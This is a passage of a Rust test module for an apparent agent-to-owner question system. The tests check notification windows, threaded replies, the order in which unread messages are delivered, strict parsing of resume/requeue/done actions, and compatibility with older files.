3565            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3566            "still on the screen a minute later; no need to page again"
3567        );
3568        assert!(
3569            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3570            "exactly the window: `>` means this side stays quiet"
3571        );
3572        assert!(
3573            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3574            "past the window: they may have walked away"
3575        );
3576    }
3577
3578    #[test]
3579    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3580        let (_dir, s) = store();
3581        let mut q = choice_question();
3582        s.put(&mut q).unwrap();
3583        q.say("why not Postgres?").unwrap();
3584        s.put(&mut q).unwrap();
3585        q.reply("no server to run", vec!["SQLite".to_owned()])
3586            .unwrap();
3587        s.put(&mut q).unwrap();
3588
3589        assert_eq!(
3590            s.count_open(),
3591            1,
3592            "one question that talked twice is still one open question"
3593        );
3594        assert_eq!(s.open_for(&q.run).len(), 1);
3595    }
3596
3597    #[tokio::test]
3598    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3599        let (dir, s) = store();
3600        let mut q = choice_question();
3601        let id = q.id.clone();
3602        let writer = Questions::at(dir.path().join("questions"));
3603        let handle = tokio::spawn(async move {
3604            tokio::time::sleep(Duration::from_millis(30)).await;
3605            let mut fresh = writer.get(&id).expect("the question was filed first");
3606            fresh.say("why not Postgres?").unwrap();
3607            writer.put(&mut fresh).unwrap();
3608        });
3609
3610        let got = wait_for_owner(
3611            &mut q,
3612            &s,
3613            &quiet(),
3614            Duration::from_secs(5),
3615            Duration::from_millis(10),
3616        )
3617        .await
3618        .unwrap();
3619
3620        handle.await.unwrap();
3621        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3622        assert_eq!(
3623            q.status,
3624            QuestionStatus::Open,
3625            "talking back is not a decision; the question stays open"
3626        );
3627        assert!(q.answer.is_none());
3628    }
3629
3630    #[test]
3631    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3632        let mut q = choice_question();
3633        q.say("A").unwrap();
3634        q.delivered_turns = q.thread.len();
3635        q.say("B").unwrap();
3636        q.reply("about A", vec![]).unwrap();
3637        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3638        q.delivered_turns = q.thread.len();
3639        assert_eq!(q.unread_from_owner(), None);
3640    }
3641
3642    #[test]
3643    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3644        let (_d, s) = store();
3645        let mut q = choice_question();
3646        s.put(&mut q).unwrap();
3647        q.say("first").unwrap();
3648        q.say("second").unwrap();
3649        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3650        s.put(&mut q).unwrap();
3651        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3652        let mut out = Vec::new();
3653        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3654        let shown = String::from_utf8(out).unwrap();
3655        let (a, b, c) = (
3656            shown.find("first").unwrap(),
3657            shown.find("second").unwrap(),
3658            shown.find("SQLite").unwrap(),
3659        );
3660        assert!(a < b && b < c, "{shown}");
3661        assert_eq!(q.delivered_turns, q.thread.len());
3662        assert!(q.answer_delivered);
3663    }
3664
3665    #[test]
3666    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3667        let mut q = choice_question();
3668        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3669        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3670        let mut q = choice_question();
3671        q.say("old").unwrap();
3672        q.delivered_turns = q.thread.len();
3673        q.say("new").unwrap();
3674        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3675        let shown = answer_for_agent(&q, "SQLite");
3676        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3677    }
3678
3679    #[test]
3680    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3681        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3682        let ok = parse_actions(
3683            &[
3684                "resume で続行する=resume".to_owned(),
3685                "wait=done".to_owned(),
3686            ],
3687            &choices,
3688            "run-1",
3689        )
3690        .unwrap();
3691        assert_eq!(
3692            ok["resume で続行する"],
3693            ChoiceAction::Resume {
3694                run: "run-1".into()
3695            }
3696        );
3697        assert_eq!(ok["wait"], ChoiceAction::Done);
3698
3699        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3700        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3701        assert_eq!(
3702            ChoiceAction::parse("x=requeue", "").unwrap().1,
3703            ChoiceAction::Requeue
3704        );
3705
3706        for bad in [
3707            "no-equals",
3708            "=done",
3709            "x=resume",
3710            "x=resume:",
3711            "x=explode",
3712            "x=done:1",
3713        ] {
3714            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3715        }
3716        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3717        assert!(
3718            parse_actions(
3719                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3720                &choices,
3721                ""
3722            )
3723            .is_err()
3724        );
3725    }
3726
3727    #[test]
3728    fn only_a_chosen_label_with_an_action_is_actionable() {
3729        let mut q = choice_question();
3730        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3731        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3732        assert!(q.chosen_action().is_none(), "unanswered");
3733        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3734        assert!(
3735            q.chosen_action().is_none(),
3736            "a label that merely reads like an action does nothing"
3737        );
3738
3739        let mut q2 = choice_question();
3740        q2.choices = vec!["SQLite".to_owned()];
3741        q2.actions
3742            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3743        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3744        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3745    }
3746
3747    #[test]
3748    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3749        let mut q = choice_question();
3750        q.choices = vec!["A".to_owned(), "B".to_owned()];
3751        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3752        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3753        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3754        assert_eq!(q.actions.len(), 1);
3755        assert!(q.actions.contains_key("B"));
3756
3757        let mut v = serde_json::to_value(&q).unwrap();
3758        v.as_object_mut().unwrap().remove("actions");
3759        let old: Question = serde_json::from_value(v).unwrap();
3760        assert!(old.actions.is_empty());
3761    }
3762}